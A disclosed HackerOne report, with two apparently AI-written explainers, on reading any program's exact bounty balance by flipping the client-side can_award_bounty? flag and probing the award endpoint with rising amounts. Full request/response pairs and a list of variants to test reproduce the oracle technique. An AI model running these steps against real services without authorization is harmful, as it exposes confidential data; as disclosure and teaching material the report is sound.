Skip to content
Info disclosure Disclosed report Intermediate

Able To Check The Exact Bounty Balance of any Bug Bounty Program

The bounty award endpoint checked the program's balance before verifying authorization, returning a different error when funds were insufficient. An attacker could iterate over report IDs and amounts to determine the exact balance of some programs.

cjlegacion Follow

Originally disclosed on HackerOne

Medium 5.0 View original
  • Triaged in under an hour
  • Disclosed after 8 days

Summary by the program

The finder found a vulnerability that allowed them to determine the available bounty balance of some programs. The endpoint that awards a bounty did a balance check before the authorization check and returned an error when the program had insufficient funds. Someone could iterate over all report IDs and try to award a number of bounties to narrow down the balance. The program names were only accessible for public programs. This vulnerability only affected a limited set of our customers.

We'd like to thank @cyriac and @cjlegacion for bringing this vulnerability to our attention!

Summary by the researcher

If you like to check my write-up . This is the link for it :D. https://twitter.com/LegacionCj/status/938477746237317120

The report

Hello HackerOne, I found a way to check the exact bounty balance of any bug bounty program.

Steps To Reproduce

  1. Report to any program that giving a bounty
  2. Go to your Inbox
  3. Open the Burp Suite before you click the report you created for your target bug bounty program.
  4. Click the Intercept is off to make it on, click the report you created and wait for the request like this.

Request:

GET /reports/240273.json HTTP/1.1
Host: hackerone.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Referer: https://hackerone.com/bugs?█████████
X-Requested-With: XMLHttpRequest
Connection: close
  1. Once you see the request above. Go to your Burp Suite, click "Do Intercept" > "Response to this Request" and edit the response.

Response:

HTTP/1.1 200 OK
Date: Tue, 28 Nov 2017 20:33:14 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Disposition: inline; filename="response.json"
Content-Security-Policy: default-src 'none'; base-uri 'self'; connect-src 'self' www.google-analytics.com errors.hackerone.net; font-src 'self'; form-action 'self'; frame-ancestors 'none'; frame-src www.youtube-nocookie.com; img-src 'self' data: cover-photos.hackerone-user-content.com hackathon-photos.hackerone-user-content.com profile-photos.hackerone-user-content.com hackerone-attachments.s3.amazonaws.com; media-src 'self' hackerone-attachments.s3.amazonaws.com; script-src 'self' www.google-analytics.com; style-src 'self' 'unsafe-inline'; report-uri https://errors.hackerone.net/api/30/csp-report/?sentry_key=61c1e2f50d21487c97a071737701f598
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 1; mode=block
Server: cloudflare-nginx
CF-RAY: 3c5019db6afc60ae-MNL
Content-Length: 9669

███
  1. Change the value of parameter name can_award_bounty? from false to true

Note: I change the response of the request so i'm able to use the Set award for the request . 7. Use the Set award and intercept the request and put that request to Repeater.

Request:

POST /reports/bulk HTTP/1.1
Host: hackerone.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Referer: █████
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 174
Connection: close

████████

Response:

HTTP/1.1 200 OK
Date: Tue, 28 Nov 2017 20:39:58 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Disposition: inline; filename="response."
Content-Security-Policy: default-src 'none'; base-uri 'self'; connect-src 'self' www.google-analytics.com errors.hackerone.net; font-src 'self'; form-action 'self'; frame-ancestors 'none'; frame-src www.youtube-nocookie.com; img-src 'self' data: cover-photos.hackerone-user-content.com hackathon-photos.hackerone-user-content.com profile-photos.hackerone-user-content.com hackerone-attachments.s3.amazonaws.com; media-src 'self' hackerone-attachments.s3.amazonaws.com; script-src 'self' www.google-analytics.com; style-src 'self' 'unsafe-inline'; report-uri https://errors.hackerone.net/api/30/csp-report/?sentry_key=61c1e2f50d21487c97a071737701f598
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 1; mode=block
Server: cloudflare-nginx
CF-RAY: 3c5023b59bf660c0-MNL
Content-Length: 64

{"flash":"You have successfully awarded a bounty.","reports":[]}

As you can see here it's showing that "You have successfully awarded a bounty" on the response but try to make value of parameter name bounty_amount higher that on the request above. By use of that you can actually check the exact bounty balance of the bug bounty program .

Request with the exact bounty balance of the "HackerOne Program":

POST /reports/bulk HTTP/1.1
Host: hackerone.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Referer: ███
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 176
Connection: close

message=&substate=bounty-award&bounty_amount=31730&reference=&add_reporter_to_original=false&reply_action=set-bounty&reports_count=1&report_ids%5B%5D=240273&bounty_currency=USD

Response with the exact bounty balance of the "HackerOne Program":

HTTP/1.1 200 OK
Date: Tue, 28 Nov 2017 20:43:14 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Disposition: inline; filename="response."
Content-Security-Policy: default-src 'none'; base-uri 'self'; connect-src 'self' www.google-analytics.com errors.hackerone.net; font-src 'self'; form-action 'self'; frame-ancestors 'none'; frame-src www.youtube-nocookie.com; img-src 'self' data: cover-photos.hackerone-user-content.com hackathon-photos.hackerone-user-content.com profile-photos.hackerone-user-content.com hackerone-attachments.s3.amazonaws.com; media-src 'self' hackerone-attachments.s3.amazonaws.com; script-src 'self' www.google-analytics.com; style-src 'self' 'unsafe-inline'; report-uri https://errors.hackerone.net/api/30/csp-report/?sentry_key=61c1e2f50d21487c97a071737701f598
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 1; mode=block
Server: cloudflare-nginx
CF-RAY: 3c502882d8246102-MNL
Content-Length: 64

{"flash":"You have successfully awarded a bounty.","reports":[]}

Try to make it higher to the exact bounty balance of the "HackerOne Program"

Request with higher than the exact bounty balance of the "HackerOne Program":

POST /reports/bulk HTTP/1.1
Host: hackerone.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Referer: ██████████
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 176
Connection: close

message=&substate=bounty-award&bounty_amount=31731&reference=&add_reporter_to_original=false&reply_action=set-bounty&reports_count=1&report_ids%5B%5D=240273&bounty_currency=USD

Response with higher than the exact bounty balance of the "HackerOne Program":

HTTP/1.1 422 Unprocessable Entity
Date: Tue, 28 Nov 2017 20:45:47 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Disposition: inline; filename="response."
Content-Security-Policy: default-src 'none'; base-uri 'self'; connect-src 'self' www.google-analytics.com errors.hackerone.net; font-src 'self'; form-action 'self'; frame-ancestors 'none'; frame-src www.youtube-nocookie.com; img-src 'self' data: cover-photos.hackerone-user-content.com hackathon-photos.hackerone-user-content.com profile-photos.hackerone-user-content.com hackerone-attachments.s3.amazonaws.com; media-src 'self' hackerone-attachments.s3.amazonaws.com; script-src 'self' www.google-analytics.com; style-src 'self' 'unsafe-inline'; report-uri https://errors.hackerone.net/api/30/csp-report/?sentry_key=61c1e2f50d21487c97a071737701f598
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 1; mode=block
Server: cloudflare-nginx
CF-RAY: 3c502c3d7bd86102-MNL
Content-Length: 101

{"flash":null,"reports":[{"errors":["Validation failed: insufficient funds to award this bounty."]}]}

As you can see on the response it's showing "Validation failed: insufficient funds to award this bounty." So that's how i found a way to check the bounty balance of the bug bounty program.

PS. Even you saw the response "flash":"You have successfully awarded a bounty." . It's actually not sent to my account or recorded to my account. Also if it's worked maybe i'm gonna be RICH now Lol.

Thanks, @cjlegacion

Impact

The attacker are able to see the exact bounty balance of the bug bounty program even the attacker don't have an access on the program.

The original report as published on HackerOne, by cjlegacion. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

Context

HackerOne is a bug bounty platform. Each program on the platform can hold a balance of funds from which bounties are paid to researchers. When a program team member awards a bounty on a report, the platform checks that the program has enough money to cover the amount before the award is recorded.

The feature involved here is the bulk bounty award action, reached from a report page in the researcher's inbox. The report page is loaded as JSON, and the interface decides whether to show the Set award control based on a field in that JSON. The award itself is submitted as a form-encoded POST to /reports/bulk.

The program summary states that the balance check on the award endpoint ran before the authorisation check, and that the error returned when funds were insufficient revealed whether a given amount could be paid. By trying different amounts, the exact bounty balance of a program could be determined.

Setup

  • A HackerOne account able to submit reports.
  • A report submitted to any program that pays bounties. The researcher used report ID 240273.
  • Burp Suite, used as an intercepting proxy, with the browser configured to send traffic through it.
  • A Firefox 57.0 browser on Windows, as shown in the captured User-Agent.

No special role on the target program was required. The researcher states that the attacker does not need access to the program.

Finding it

The JSON returned for a report page contains a field named can_award_bounty?. Changing that field in the intercepted response made the Set award control usable. Editing that field in the intercepted response made the control appear even though the account had no award rights on the program.

With the control available, the award request could be submitted. The response to that request distinguished between an amount the program could cover and an amount it could not, which turned the endpoint into an oracle for the program's remaining balance.

Exploitation

Step 1: pick a target report

Submit a report to any program that pays bounties. The researcher's example uses report 240273.

Step 2: open the inbox

Go to the Inbox on the platform.

Step 3: enable interception

Turn on Burp Suite before clicking the report created for the target program.

Step 4: capture the report request

Click Intercept is off so that it reads on, then click the report and wait for the request. The captured request is:

HTTP
GET /reports/240273.json HTTP/1.1
Host: hackerone.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Referer: https://hackerone.com/bugs?█████████
X-Requested-With: XMLHttpRequest
Connection: close

This is the JSON representation of the report, fetched asynchronously by the inbox interface. The X-Requested-With: XMLHttpRequest header marks it as an AJAX call, and the Accept header asks for JSON.

Step 5: intercept the response and edit it

In Burp Suite, choose Do Intercept > Response to this Request and edit the response. The captured response is:

HTTP
HTTP/1.1 200 OK
Date: Tue, 28 Nov 2017 20:33:14 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Disposition: inline; filename="response.json"
Content-Security-Policy: default-src 'none'; base-uri 'self'; connect-src 'self' www.google-analytics.com errors.hackerone.net; font-src 'self'; form-action 'self'; frame-ancestors 'none'; frame-src www.youtube-nocookie.com; img-src 'self' data: cover-photos.hackerone-user-content.com hackathon-photos.hackerone-user-content.com profile-photos.hackerone-user-content.com hackerone-attachments.s3.amazonaws.com; media-src 'self' hackerone-attachments.s3.amazonaws.com; script-src 'self' www.google-analytics.com; style-src 'self' 'unsafe-inline'; report-uri https://errors.hackerone.net/api/30/csp-report/?sentry_key=[redacted]
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 1; mode=block
Server: cloudflare-nginx
CF-RAY: 3c5019db6afc60ae-MNL
Content-Length: 9669

███

The body is the report JSON, redacted in the report. The relevant part is the can_award_bounty? field.

Step 6: flip the award flag

Change the value of the parameter named can_award_bounty? from false to true. The researcher notes that the response is edited so that the Set award control becomes usable for the request. This is a client-side control only: the browser now believes the account may award a bounty on this report.

Step 7: submit the award and capture it

Use Set award, intercept the resulting request and send it to Repeater. The captured request is:

HTTP
POST /reports/bulk HTTP/1.1
Host: hackerone.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Referer: █████
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 174
Connection: close

████████

The body is redacted in the report. The response is:

HTTP
HTTP/1.1 200 OK
Date: Tue, 28 Nov 2017 20:39:58 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Disposition: inline; filename="response."
Content-Security-Policy: default-src 'none'; base-uri 'self'; connect-src 'self' www.google-analytics.com errors.hackerone.net; font-src 'self'; form-action 'self'; frame-ancestors 'none'; frame-src www.youtube-nocookie.com; img-src 'self' data: cover-photos.hackerone-user-content.com hackathon-photos.hackerone-user-content.com profile-photos.hackerone-user-content.com hackerone-attachments.s3.amazonaws.com; media-src 'self' hackerone-attachments.s3.amazonaws.com; script-src 'self' www.google-analytics.com; style-src 'self' 'unsafe-inline'; report-uri https://errors.hackerone.net/api/30/csp-report/?sentry_key=[redacted]
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 1; mode=block
Server: cloudflare-nginx
CF-RAY: 3c5023b59bf660c0-MNL
Content-Length: 64

{"flash":"You have successfully awarded a bounty.","reports":[]}

The response reports success. The researcher notes that the bounty is not actually sent to the account or recorded on it; the message is returned regardless.

Step 8: raise the amount to probe the balance

With the request in Repeater, increase the value of the bounty_amount parameter above the amount used in the request above. Each amount can then be tested against the program. The request that matched the exact balance of the "HackerOne Program" is:

HTTP
POST /reports/bulk HTTP/1.1
Host: hackerone.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Referer: ███
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 176
Connection: close

message=&substate=bounty-award&bounty_amount=31730&reference=&add_reporter_to_original=false&reply_action=set-bounty&reports_count=1&report_ids%5B%5D=240273&bounty_currency=USD

The body fields are:

Field Value Role
message empty Optional message attached to the award
substate bounty-award Selects the bounty award action
bounty_amount 31730 The amount being tested
reference empty Reference field for the award
add_reporter_to_original false Whether to add the reporter to the original report
reply_action set-bounty The action to perform
reports_count 1 Number of reports in the bulk request
report_ids%5B%5D 240273 The report ID, URL-encoded as report_ids[]
bounty_currency USD Currency of the amount

The response is:

HTTP
HTTP/1.1 200 OK
Date: Tue, 28 Nov 2017 20:43:14 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Disposition: inline; filename="response."
Content-Security-Policy: default-src 'none'; base-uri 'self'; connect-src 'self' www.google-analytics.com errors.hackerone.net; font-src 'self'; form-action 'self'; frame-ancestors 'none'; frame-src www.youtube-nocookie.com; img-src 'self' data: cover-photos.hackerone-user-content.com hackathon-photos.hackerone-user-content.com profile-photos.hackerone-user-content.com hackerone-attachments.s3.amazonaws.com; media-src 'self' hackerone-attachments.s3.amazonaws.com; script-src 'self' www.google-analytics.com; style-src 'self' 'unsafe-inline'; report-uri https://errors.hackerone.net/api/30/csp-report/?sentry_key=[redacted]
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 1; mode=block
Server: cloudflare-nginx
CF-RAY: 3c502882d8246102-MNL
Content-Length: 64

{"flash":"You have successfully awarded a bounty.","reports":[]}

Step 9: go one unit above the balance

Raise the amount above the exact balance. The request is:

HTTP
POST /reports/bulk HTTP/1.1
Host: hackerone.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Referer: ██████████
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 176
Connection: close

message=&substate=bounty-award&bounty_amount=31731&reference=&add_reporter_to_original=false&reply_action=set-bounty&reports_count=1&report_ids%5B%5D=240273&bounty_currency=USD

The only change from the previous request is bounty_amount=31731. The response is:

HTTP
HTTP/1.1 422 Unprocessable Entity
Date: Tue, 28 Nov 2017 20:45:47 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Disposition: inline; filename="response."
Content-Security-Policy: default-src 'none'; base-uri 'self'; connect-src 'self' www.google-analytics.com errors.hackerone.net; font-src 'self'; form-action 'self'; frame-ancestors 'none'; frame-src www.youtube-nocookie.com; img-src 'self' data: cover-photos.hackerone-user-content.com hackathon-photos.hackerone-user-content.com profile-photos.hackerone-user-content.com hackerone-attachments.s3.amazonaws.com; media-src 'self' hackerone-attachments.s3.amazonaws.com; script-src 'self' www.google-analytics.com; style-src 'self' 'unsafe-inline'; report-uri https://errors.hackerone.net/api/30/csp-report/?sentry_key=[redacted]
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 1; mode=block
Server: cloudflare-nginx
CF-RAY: 3c502c3d7bd86102-MNL
Content-Length: 101

{"flash":null,"reports":[{"errors":["Validation failed: insufficient funds to award this bounty."]}]}

The status changes to 422 Unprocessable Entity and the body carries "Validation failed: insufficient funds to award this bounty.". The boundary between a success response and this error is the program's remaining balance, so trying different amounts narrows it down to the exact figure.

Root cause

The award endpoint performed its balance check before its authorisation check. A caller without award rights on the program therefore still reached the funds check, and the two outcomes (success message versus insufficient funds) leaked one bit about the program's balance per request. Repeating the request with different amounts narrows the balance down to the exact value.

Editing the can_award_bounty? field in the response made the Set award control appear, which allowed the award request to be submitted.

Impact

An attacker can determine the exact bounty balance of a bug bounty program, including programs the attacker has no access to. The program summary states that program names were only accessible for public programs, and that the vulnerability affected only a limited set of customers. The researcher notes that the success message does not mean a bounty was paid: nothing was sent to or recorded on the account.

Fix

The report does not describe the change that was made.

Variants to test

  1. Bulk action endpoints with per-item validation. Submit a bulk request with an action the account is not entitled to perform and vary a numeric field. A positive result is a different response (status or message) at the boundary of an internal limit, such as a balance, quota or seat count.
  2. Client-side capability flags. Look for fields such as can_*, is_* or allow_* in JSON responses and flip them. A positive result is a server-side action becoming reachable, or a different error than the one returned without the edit.
  3. Ordering of checks. For any endpoint that validates a resource state (funds, stock, limits) and also checks permissions, call it as an unauthorised user with boundary values. A positive result is a state-related error rather than a permission error.
  4. Iteration over object IDs. Where a report or object ID is accepted alongside an amount, try other IDs belonging to other programs. A positive result is the same success/insufficient-funds boundary appearing for objects the account cannot otherwise act on.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 22 min read.

What happened, in plain words

HackerOne is a website where companies (called "programs") pay security researchers for finding bugs in their software. Each program keeps a pot of money on the platform, and when a member of that program's team decides a report deserves a reward, they pay a "bounty" out of that pot.

The researcher, @cjlegacion, found that the endpoint used to pay a bounty would tell you, through its responses, whether the program had enough money for a given amount. The check for "is there enough money?" happened before the check for "are you allowed to pay a bounty at all?". So someone with no rights on the program could still ask the question "can this program afford 31,730 dollars?" and get a yes or no answer. By asking with different amounts, you can narrow it down until you know the exact balance in the pot.

A useful comparison: imagine a shop assistant who is not allowed to open the till, but who will still answer "do we have enough change for a 50 pound note?" before checking whether you are allowed to ask. Ask about 50, then 25, then 12, and you can work out how much is in the till without ever touching it.

The program's own summary says the endpoint that awards a bounty did its balance check before its authorisation check, and returned an error when the program had insufficient funds. It also says program names were only accessible for public programs, and that the vulnerability affected only a limited set of customers. The program thanked @cyriac and @cjlegacion for reporting it.

The pieces you need to understand first

Before walking through the steps, here are the ideas the report relies on. None of them require any prior security knowledge.

  • A web request and a response. When you click something in a browser, the browser sends a request to a server and the server sends back a response. The request says what you want (for example, "give me report number 240273"). The response contains the answer, plus some housekeeping information called headers.
  • JSON. A way of writing data as text so that programs can read it easily. It looks like {"name": "value"}. Many modern websites fetch data as JSON and then draw the page from it, rather than receiving a finished page.
  • An API endpoint. A specific address on a server that a program (or a page in your browser) talks to. /reports/240273.json is one endpoint; /reports/bulk is another. Think of endpoints as different service counters in the same building: each one does one job.
  • A proxy. A tool that sits between your browser and the website. Normally your browser talks straight to the server. With a proxy, every request passes through the tool first, and you can pause it, read it, change it, and then let it continue. Burp Suite is a well-known proxy of this kind.
  • Intercepting. Telling the proxy to pause traffic so you can look at it. You can intercept requests (what your browser is about to send) or responses (what the server sent back).
  • Repeater. A part of Burp Suite that lets you take one captured request and send it again and again, changing a value each time, without clicking through the website over and over.
  • A client-side check. A check that happens in your browser rather than on the server. It is only a convenience for the user interface. Because the browser belongs to the user, anything it decides can be changed by the user. A server-side check is the one that actually protects anything.
  • Authorisation. The question "are you allowed to do this?". It is different from authentication, which is "who are you?".
  • Information disclosure. A vulnerability class where the problem is not that someone can change data, but that they can learn something they should not know. Here, the secret is how much money a program has left.
  • An oracle. Any behaviour that answers a yes/no question for you. A login page that says "wrong password" versus "no such user" is an oracle for whether a username exists. Here, the award endpoint is an oracle for whether a program can afford an amount.
  • Binary search. A way of finding an exact number by halving the range each time. If you know the answer is between 0 and 100, ask "is it more than 50?". Depending on the answer, the range becomes 0 to 50 or 50 to 100, and you repeat. It finds an exact value in very few questions compared with counting upwards one by one.

Setting up

The researcher's setup, as described in the report:

  • A HackerOne account that can submit reports.
  • A report submitted to any program that pays bounties. The example uses report ID 240273.
  • Burp Suite, acting as an intercepting proxy, with the browser configured to send its traffic through it.
  • A Firefox 57.0 browser on Windows, which is what the captured User-Agent header shows.

No special role on the target program was needed. The researcher states that the attacker does not need access to the program.

Finding it

The JSON returned for a report page contains a field named can_award_bounty?. Editing that field in the intercepted response made the Set award button appear. If the field says false, the button is hidden. Editing the field in the intercepted response made the button appear, even though the account had no award rights on the program.

With the button available, the award request could be sent. The response to that request told apart an amount the program could cover from an amount it could not. That difference is what turned the endpoint into an oracle for the program's remaining balance.

Exploitation, step by step

Step 1: pick a target report

Submit a report to any program that pays bounties. The researcher's example uses report 240273.

Step 2: open the inbox

Go to the Inbox on the platform. This is the list of reports you have submitted or are involved in. Opening a report from here is what triggers the request we are going to capture.

Step 3: enable interception

Turn on Burp Suite before clicking the report created for the target program. If the proxy is not running and the browser is not pointed at it, the traffic goes straight past and there is nothing to capture.

Step 4: capture the report request

Click Intercept is off so that it reads on, then click the report and wait for the request. The captured request is:

HTTP
GET /reports/240273.json HTTP/1.1
Host: hackerone.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Referer: https://hackerone.com/bugs?█████████
X-Requested-With: XMLHttpRequest
Connection: close

Line by line:

  • GET /reports/240273.json HTTP/1.1: this is a GET request, meaning "fetch me something", for the address /reports/240273.json. The .json ending tells the server to send the report as JSON data rather than as a finished web page. HTTP/1.1 is the version of the protocol being spoken.
  • Host: hackerone.com: which website the request is for. One server can host many sites, so the request has to say which one it means.
  • User-Agent: ...: which browser and operating system is asking. Here it identifies Firefox 57.0 on 64-bit Windows.
  • Accept: application/json, text/javascript, */*; q=0.01: what kind of answer the browser will accept. JSON is preferred, then JavaScript, then anything else at low priority.
  • Accept-Language: en-US,en;q=0.5: the language the user prefers, with English (US) first.
  • Referer: https://hackerone.com/bugs?█████████: the page the user was on when this request was made. The part after the question mark is redacted in the report.
  • X-Requested-With: XMLHttpRequest: a marker that says this request was made by JavaScript running in the page, not by the user typing an address. It is how the server knows this is an asynchronous background fetch.
  • Connection: close: tells the server to close the connection after answering, rather than keeping it open for more requests.

This is the JSON representation of the report, fetched in the background by the inbox interface. The X-Requested-With header marks it as an asynchronous call, and the Accept header asks for JSON.

Step 5: intercept the response and edit it

In Burp Suite, choose Do Intercept > Response to this Request and edit the response. The captured response is:

HTTP
HTTP/1.1 200 OK
Date: Tue, 28 Nov 2017 20:33:14 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Disposition: inline; filename="response.json"
Content-Security-Policy: default-src 'none'; base-uri 'self'; connect-src 'self' www.google-analytics.com errors.hackerone.net; font-src 'self'; form-action 'self'; frame-ancestors 'none'; frame-src www.youtube-nocookie.com; img-src 'self' data: cover-photos.hackerone-user-content.com hackathon-photos.hackerone-user-content.com profile-photos.hackerone-user-content.com hackerone-attachments.s3.amazonaws.com; media-src 'self' hackerone-attachments.s3.amazonaws.com; script-src 'self' www.google-analytics.com; style-src 'self' 'unsafe-inline'; report-uri https://errors.hackerone.net/api/30/csp-report/?sentry_key=[redacted]
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 1; mode=block
Server: cloudflare-nginx
CF-RAY: 3c5019db6afc60ae-MNL
Content-Length: 9669

███

Line by line:

  • HTTP/1.1 200 OK: the server's answer. 200 is the standard code for "here is your content, all fine".
  • Date: ...: when the server produced the response.
  • Content-Type: application/json; charset=utf-8: the body is JSON text, encoded in UTF-8 (a common way of representing characters).
  • Connection: close: the connection will be closed after this response.
  • Cache-Control: private, no-cache, no-store, must-revalidate: instructions telling browsers and caches not to store this response. Report data is private, so it should not be kept around.
  • Content-Disposition: inline; filename="response.json": if the browser were to save this, it would suggest the name response.json; inline means show it rather than download it.
  • Content-Security-Policy: ...: a long list of rules telling the browser where the page may load scripts, images, fonts and so on from. It is a defence that limits what injected content could do. The report-uri at the end is where the browser sends reports of policy violations; the key in that address is redacted here.
  • Referrer-Policy: strict-origin-when-cross-origin: controls how much of the current address is passed on to other sites when the user follows a link.
  • X-Content-Type-Options: nosniff: tells the browser to trust the declared content type and not to guess a different one.
  • X-Download-Options: noopen: an instruction aimed at older Internet Explorer versions, to stop downloaded files opening directly.
  • X-Frame-Options: DENY: the page may not be embedded inside a frame on another site. This prevents clickjacking, where a hidden page tricks you into clicking something.
  • X-Permitted-Cross-Domain-Policies: none: restricts old Flash and PDF cross-domain policy files.
  • X-XSS-Protection: 1; mode=block: turns on an older browser filter against cross-site scripting and tells it to block rather than try to clean the page.
  • Server: cloudflare-nginx: the server software that answered, behind Cloudflare.
  • CF-RAY: 3c5019db6afc60ae-MNL: an identifier Cloudflare attaches to each request, useful for tracing it in logs.
  • Content-Length: 9669: the body is 9,669 bytes long.
  • ███: the body itself, redacted in the report. This is the report JSON, and the part that matters is the can_award_bounty? field.

Step 6: flip the award flag

Change the value of the parameter named can_award_bounty? from false to true. The researcher notes that the response is edited so that the Set award control becomes usable for the request. This is a client-side control only: the browser now believes the account may award a bounty on this report.

Why do this? The button is drawn by the page based on that field. The server has not been told anything yet; we have only changed what our own browser sees. The point is to make the button appear so that clicking it produces the award request we want to study. Whether the server actually permits the action is a separate question, and that is exactly what the next steps test.

Step 7: submit the award and capture it

Use Set award, intercept the resulting request and send it to Repeater. The captured request is:

HTTP
POST /reports/bulk HTTP/1.1
Host: hackerone.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Referer: █████
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 174
Connection: close

████████

Line by line:

  • POST /reports/bulk HTTP/1.1: a POST request, meaning "here is some data, please act on it", sent to /reports/bulk. The word bulk tells you this endpoint is designed to act on several reports at once.
  • Host: hackerone.com: the site being addressed.
  • User-Agent: ...: the browser identification, the same Firefox 57.0 on Windows as before.
  • Accept: */*: the browser will accept any kind of answer.
  • Accept-Language: en-US,en;q=0.5: preferred language, English (US) first.
  • Referer: █████: the page the request came from, redacted.
  • Content-Type: application/x-www-form-urlencoded; charset=UTF-8: the body is formatted like a web form, as name=value&name=value pairs, in UTF-8.
  • X-Requested-With: XMLHttpRequest: again, this was sent by JavaScript in the page.
  • Content-Length: 174: the body is 174 bytes long.
  • Connection: close: close the connection after the response.
  • ████████: the body, redacted in the report. This is where the award details, including the amount, are sent.

The response is:

HTTP
HTTP/1.1 200 OK
Date: Tue, 28 Nov 2017 20:39:58 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Disposition: inline; filename="response."
Content-Security-Policy: default-src 'none'; base-uri 'self'; connect-src 'self' www.google-analytics.com errors.hackerone.net; font-src 'self'; form-action 'self'; frame-ancestors 'none'; frame-src www.youtube-nocookie.com; img-src 'self' data: cover-photos.hackerone-user-content.com hackathon-photos.hackerone-user-content.com profile-photos.hackerone-user-content.com hackerone-attachments.s3.amazonaws.com; media-src 'self' hackerone-attachments.s3.amazonaws.com; script-src 'self' www.google-analytics.com; style-src 'self' 'unsafe-inline'; report-uri https://errors.hackerone.net/api/30/csp-report/?sentry_key=[redacted]
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-XSS-Protection: 1; mode=block
Server: cloudflare-nginx
CF-RAY: 3c5023b59bf660c0-MNL
Content-Length: 64

{"flash":"You have successfully awarded a bounty.","reports":[]}

Line by line:

